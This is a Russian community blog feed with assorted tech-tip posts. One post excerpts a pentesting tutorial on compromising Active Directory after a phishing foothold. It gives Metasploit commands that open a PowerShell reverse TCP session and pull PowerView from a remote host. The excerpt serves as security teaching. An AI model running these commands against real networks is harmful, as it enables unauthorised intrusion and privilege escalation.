• Авторизация


мораль. уведомления по подписке. Reeder 14-01-2016 17:06


что б они приходили нужно сначала отписаться от сообщества, а потом подписаться!

комментарии: 0 понравилось! вверх^ к полной версии
обеспечение искробезопасности Reeder 13-01-2016 20:47


брошюра phoenix contact

http://iprog.pp.ru/forum/read.php?f=1&i=44700&t=44700

Монастырский Олег писал(а):

> Задача выглядит следующим образом:
> Есть взрывоопасное помещени (зона класса В-1Г)  в котором устанавливаеться
> локальный пульт управления на базе плосепанельного ПС в корпусе с исполнением
> IP-68. Это разрешено ПУЭ (раздел 7.1. в зоне класса В-1Г допускается
> использование не взрывозащищенного оборудования установленного в корпуса не ниже
> IP54).
> Питание этого плоскопанельного ПС осуществляется через барьер.

Читать далее...
комментарии: 0 понравилось! вверх^ к полной версии

#курсы 095 13-01-2016 12:48


https://htmlacademy.ru/learn_map

HTML и CSS
комментарии: 0 понравилось! вверх^ к полной версии
#курсы 095 13-01-2016 12:46


https://www.khanacademy.org
комментарии: 0 понравилось! вверх^ к полной версии
#курсы 095 09-01-2016 07:26


PHP
комментарии: 0 понравилось! вверх^ к полной версии
про АД из хакера Reeder 09-01-2016 02:17


Active Directory — явление, довольно часто встречающееся при тестировании безопасности крупных компаний. Нередко попадается не одинокий домен в единственном лесу, а более ветвистая и более интереcная структура. Поэтому сегодня мы поговорим о том, как проводить разведку, изучать структуру леса, рассмотрим возможности поднятия привилегий. А завершим полной компрометацией всего леса предприятия!


О чем на этот раз

Не секрет, что многие, если не большинство крупных компаний используют службу каталогов Active Directory от небезызвестной MS. Причина достаточно очевидна. Такой подход позволяет многие вeщи автоматизировать, интегрировать все в одну слаженную структуру и облегчить жизнь как IT-отделу, так и всем сотрудникам.

Как правило, если организация довольно большая, то, развиваясь, она может приобретать другие (более мелкие) компании, устраивать слияния, расширения и прочие радости крупного бизнеса. Все это сказывается на структуре леса AD, который пополняется новыми деревьями и разрастается вширь и вглубь. Именно о такой разветвленной структуре мы и будем разговаривать. А начнем, по традиции, с небольшого теоретического введения.


В дремучих лесах AD

Бегло рассмотрим ключевые понятия Active Directory, которые постоянно будут использоваться в дальнейшем. Начнем от наименьшей структурной единицы AD — домена.

Доменом можно назвать логическую группу (пользователей, хостов, серверов и так далее), которые поддерживают централизованное администрирование.

Деревом называется набор доменов, которые используют общее пространство имен (по аналогии с обычным DNS). Важно, что дочерний домен автoматически получает двухсторонние доверительные отношения с родительским доменом.

Доверие — это своеобразное соглашение между двумя доменами, устанавливающее разрешения на доступ к тем или иным объектам или ресурсам.

Ну а лес, в свою очередь, является наиболее крупной структурой в Active Directory и объединяет все деревья. В результате все деревья в лесу обычно объединены двунаправленными доверительными отношениями, что позволяет пользователям в любом дереве получать доступ к ресурсам в любом другом, если они имеют соответствующие разрешения и права.

По умолчанию первый домен, создаваемый в лесу, автоматически становится его корневым доменом.

Завершив теоретический экскурс, можно переходить к практике, чем и займемся. При этом мы будем предполагать, что уже получен базовый доступ с небольшими пользовательскими привилегиями. Допустим, что социнженерия дала свои плоды и после отправки специально сформированного письма (например, с документом во вложении) кто-то открыл документ и мы получили шелл.


Проверяем боекомплект

Перед любыми боевыми действиями неплохо вначале осмотреть свой инструментарий и определиться, что будет использовaться. Для изучения Windows-окружения самый удобный инструмент на сегодняшний день — это PowerShell. Почему? Да потому, что он везде установлен (начиная с Windows 7/2008R2), позволяет работать и выполнять разнообразные командлеты рядовым пользователям и глубоко интегрирован в ОС.

Дефолтная политика, которая запрещает выполнение сторонних (неподписанных) PowerShell-скриптов, не является серьезной защитной мерой. Это просто защита от случайного запуска по двойному клику и очень легко обходится. По большому счету PowerShell — это целый фреймворк для постэксплуатации Windows. Естественно, по этой причине пентестеры уже несколько лет активно его используют, и написано множество различных модулей (скриптов), которые помогают автоматизировать те или иные действия.

Мы будем использовать лишь один такой модуль — PowerView, который входит в набор PowerTools. Изначально он создавался в рамках известного проекта Veil, но не так давно, после выхода впечатляющего фреймворка PowerShell Empire (который очень динамично развивается и требует отдельного рассмотрения), был перемещен и теперь является подпроектом PS Empire.

PowerView служит одновременно и заменой всех консольных net*-команд в Windows, и средством изучения AD. Отдельно стоит еще раз подчеркнуть, что большинство возможностей доступны с правами обычного пользователя.


Выдвигаемся на исходную

Напомню, что базовый доступ у нас уже есть, и для упрощения будем считать, что у нас есть шелл Meterpreter с правами рядового доменного пользователя. В этом году работа с PS в Метасплоите стала значительно удобнее, появилось несколько специализированных пейлоадов, чем и воспользуемся. Чтобы не потерять имеющуюся сессию, создадим новую, используя механизм payload_inject.

Для этого выполняем:
msf > use exploit/windows/local/payload_inject

В качестве полезной нагрузки, конечно же, выбираем powershell:
msf exploit(payload_inject) > set PAYLOAD windows/powershell_reverse_tcp

Теперь можно сразу указать модуль, который нужно импортировать в случае успешного запуска:
msf exploit(payload_inject) > set LOAD_MODULES http://10.54.0.181/powerview.ps1

Отмечу, что при желании можно даже указывать полный адрес до GitHub, в нашем случае PowerView будет
Читать далее...
комментарии: 0 понравилось! вверх^ к полной версии
сжатый воздух в качестве аккумулятора Reeder 08-01-2016 23:59


чтото я не уловил надро ещё раз посмотреть
http://www.cnbc.com/2015/01/09/a-lot-of-hot-air-why-energy-storage-matters.html
комментарии: 0 понравилось! вверх^ к полной версии
Запретить сайтам отключать меню правой кнопки мыши 095 08-01-2016 03:22


В Firefox :

открываем новую вкладку, в адресной строке пишем: about:config
Жмём Enter, соглашаемся быть осторожными,
в появившейся строке поиска вбиваем: dom.event.contextmenu.enabled
если значение true, кликаем дважды по dom.event.contextmenu.enabled -> значение изменяется на false
- всё, теперь можете копировать защищёные картинки и прочий контент с сайта. )

http://forum.mozilla-russia.org/viewtopic.php?id=36226
комментарии: 0 понравилось! вверх^ к полной версии
,kz! 095 04-01-2016 20:35


[700x375]
комментарии: 0 понравилось! вверх^ к полной версии
f[etnm// 095 04-01-2016 17:43


http://cont.ws/post/172771


комментарии: 0 понравилось! вверх^ к полной версии
программа связь между клавишами и компом Reeder 02-01-2016 15:51


KaraKEYoke Karaoke - программа для караоке и обучения игре на синтезаторе, МИДИ клавиатуре, пианино, фортепьяно

KaraKEYoke main screen

Вместе с KaraKEYoke Вы сможете не только петь свои любимые песни, но и легко научиться играть их, даже не изучая нот!

Для караоке или обучения можно загрузить любые МИДИ или караоке файлы для компьютера (*.mid, *.kar). Это могут быть песни, мелодии, упражнения, пьесы, этюды, которые легко найти и скачать в Интернете. Программа показывает нотную запись (нотный стан, музыкальную нотацию, партитуру).

Вы можете выбрать фрагмент любимой песни и быстро научиться играть на синтезаторе/MIDI клавиатуре этот фрагмент. Несколько режимов обучения подойдут для любого уровня, для детей, начинающих, для тех, кто не знает нот и не играл на клавишных инструментах раньше. Для обучения нужно подключить к компьютеру любой синтезатор, цифровое пианино, фортепиано или МИДИ клавиатуру. Обучающая программа КараКЕЙоке будет показывать Вам какие клавиши нужно нажимать и терпеливо ждать, когда Вы их правильно нажмёте. Если синтезатор имеет функцию подсветки клавиш (Casio LK серия), то нужные клавиши будут подсвечиваться прямо на нём.

Иногда для пения караоке необходимо усилить партию соло, чтобы получить хорошую опору для голоса. Для этого МИДИ и караоке плеер КараКЕЙоке позволяет выбрать нужный MIDI канал, поднять его громкость и сменить инструмент на более выразительный. Можно транспонировать ноты по октавам или изменять тональность всей композиции. Для КАРАОКЕ этот проигрыватель караоке можно использовать бесплатно.

Многие синтезаторы и цифровые пианино Casio LK-, CTK-, WK-, ... позволяют загружать в них специальные МИДИ файлы с песнями, например используя SD карту памяти. Такие файлы трудно найти, ведь синтезатор использует свой специальный формат SMF0. Теперь Вам не нужен конвертор, чтобы конвертировать MIDI и караоке файлы в SMF-0 формат, ведь программа КараКЕЙоке умеет сразу проигрывать песни на синтезаторе, и поддерживает множество настроек и режимов обучения.

Возможно программа КараКЕЙоке это хороший подарок для тех, кто не только любит петь караоке, но хочет получить дополнительное удовольствие от погружения в мир музыки, а может быть в дальнейшем начать серьёзное её изучение в музыкальной школе или с преподавателем, погрузившись в сольфеджио, арпеджио, аккомпанемент, ноты, аккорды, транспозиции, гаммы, сильные и слабые доли, размеры, легато, стаккато, паузы, фразы, партии, партируры, интервалы, мажорные и минорные тональности :)

В этом ролике робот Джонни учится играть на синтезаторе CASIO LK-270 с помощью программы KaraKEYoke.
http://karakeyoke.ru/software/karakeyoke/overview.html
комментарии: 4 понравилось! вверх^ к полной версии
Сети, связь - сильно быстрее и дешевле 095 01-01-2016 16:57


Уже скоро
комментарии: 1 понравилось! вверх^ к полной версии
rutor 095 29-12-2015 22:17


// .. зайти на rutor можно только используя специальные средства, такие как АнтиЗапрет и AntiCenz. Ну и, конечно же, сайты доступны в Tor и I2P.
комментарии: 0 понравилось! вверх^ к полной версии
Загрузочные флешки и софт к ним 095 24-12-2015 22:11


http://habrahabr.ru/post/240443/ - зри в коммент
http://remontka.pro/best-free-software/ - программы на каждый день
http://kolibrios.org/ru/index - Kolibri
http://habrahabr.ru/post/234443/ - Запуск VMWare образов на Zalman VE-300
комментарии: 0 понравилось! вверх^ к полной версии
CopyMik 095 16-12-2015 13:48


CopyMik - бесплатная программа для сложного копирования, переименования (включая транслитерацию), сжатия, разжатия, шифрования, дешифрования файлов и папок.

В отличии от robocopy и xcopy программа CopyMik имеет переименование, сжатие и шифрацию,
позволяет использовать несколько масок в каждом ключе.
Ключи разделены для файлов и папок.
Это позволяет, в большинстве случаев, отказаться от написания скриптов копирования.
CopyMik удобна при создании резервный копий, зеркальном отображении файлов с повторением структуры папок (дирректорий).
Позволяет исключить из копирования или переименовать в случае существования папки и файлы.
Поддерживает копирование прав доступа к файлам и папкам раздельно.
При копировании файлов возможно их шифрование или дешифровка, сжатие и разжатие, опционально шифруемые и сжимаемые файлы можно переименовывать как в прямом так и в обратном направлениях.
Доступно 12 различных алгоритмов шифрования что делает возможным последовательное шифрование несколькими различными алгоритмами (маниакальное шифрование), а это в свою очередь очень сильно затрудняет взлом и дешифровку.
Содержит много других удобных возможностей.
CopyMik 2.8 Beta Сборка 5 (Бесплатная)для Windows
rusmikleАТgmail.com Михаил Червоненко 2015
Последнее обновление: - 06.12.2015 22:30 (Germany)

Загрузить zip файл  |  Зеркало - Softodrom.ru
[/b]
http://superbasis.de/copymik/index.htm#rus

http://soft.softodrom.ru/ap/CopyMik-p25454

http://forum.ru-board.com/topic.cgi?forum=5&topic=48207

http://www.itsec.ru/forum.php?sub=11248&from=-1

ПО для резервного копирования:
https://ru.wikipedia.org/w/index.php?title=%D0%A1%...%B8%D1%8F&stable=0&redirect=no

Читать далее...
комментарии: 1 понравилось! вверх^ к полной версии
Vivaldi - Новый веб-браузер 095 16-12-2015 12:45


http://habrahabr.ru/company/vivaldi/
https://vivaldi.com/story/
комментарии: 0 понравилось! вверх^ к полной версии
WinMerge 095 16-12-2015 12:39


Обзор инструментов для визуального сравнения папок и файлов и разрешения конфликтов слияния:
http://habrahabr.ru/post/150001/
-----------------------------------------------------------------------------------
WinMerge является Open Source инструментом сравнения и слияния для Windows. WinMerge может сравнивать как файлы, так и папки, отображая различия в визуальной текстовой форме, которые легко понять и обработать: http://winmerge.org/
WinMerge 2.14.0
-----------------------------------------------------------------------------------
WinMerge — свободное ПО с открытым исходным кодом для сравнения и синхронизации файлов и директорий, распространяемое на условиях лицензии GNU GPL для Microsoft Windows.
Основные возможности: https://ru.wikipedia.org/wiki/Winmerge
+
http://www.hardforum.ru/t81274-2/
-----------------------------------------------------------------------------------
комментарии: 0 понравилось! вверх^ к полной версии
Как отключить предложение обновиться до Windows 10 095 16-12-2015 12:12


"Если у вас Windows 7, то необходимо искать в списке обновления KB3035583, KB2952664, KB3021917.

Если у вас Windows 8, то необходимо искать в списке обновления KB3035583, KB2976978.

После удаления этих обновлений их вам снова предложат установить, для этого их нужно просто скрыть и всё.

Список обновлений:
KB:3021917
KB:2990214
KB:3050265
KB:2952664
KB:2977759
KB:3046480
KB:3035583

KB:3065987
KB:3075851
KB:3083324
KB:3112343
KB:3083710
----------------------
в моем случае достаточно было удалить KB3035583, обязательно потом его надо скрыть (правой кнопкой мыши по обновлению в списке - скрыть обновление), если после удаления его нет в списке - выполнить поиск новых обновлений, должно появится, потом скрыть."
----------------------
GWX Control Panel - удобное решение для пользователей операционок семейства Windows 7 и 8, с помощью которого очень легко избавиться от системного оповещения о получении Windows 10
https://yandex.ru/yandsearch?&clid=2186623&text=GWX%20Control%20Panel
комментарии: 0 понравилось! вверх^ к полной версии
FlashFolder 095 16-12-2015 12:09


Суть проблемы:
В Windows слишком мало возможностей для того, чтобы в процессе сохранения файла быстро найти нужную папку: https://glashkoff.com/obzor/flashfolder/

Программа абсолютно бесплатна. Можно устанавливать на рабочие компьютеры - лицензия GPLv2 разрешает.


Скачать
Версия для 32-битных операционных систем — ссылка (зеркало).


Версия для 64-битных операционных систем — ссылка (зеркало).


Официальный сайт программы здесь, но оттуда FlashFolder лучше не брать - там устаревшая версия, не работающая в Windows 7 и 8. Благодаря стараниям программиста Tim De Baets нам доступна исправленная версия FlashFolder, ссылки на которую приведены выше.


+
http://useful-faq.livejournal.com/19140492.html
комментарии: 0 понравилось! вверх^ к полной версии
Java-задолбала!!!! Gorely 16-12-2015 00:27


всего навсего полгода назад довольно старый принт-сервер от НР через вэбморду позволял пользовать сканер от 1100а, и вот блядь когда эта прелестная функция в очредной раз в полгода понадобилась выясняется что Chrome уже вообще ее нахуй не поддерживает, а сама эта блядская ява просто не отображает интерфейс принтсервера!!!! и че бля - выкидывать полностью работающее устройство только потому что какие то пидары выкинули поддерждку старого кода? а с какого хуя вы ее выкинули? вы блядь место на дискете экономите????

сцуки

комментарии: 0 понравилось! вверх^ к полной версии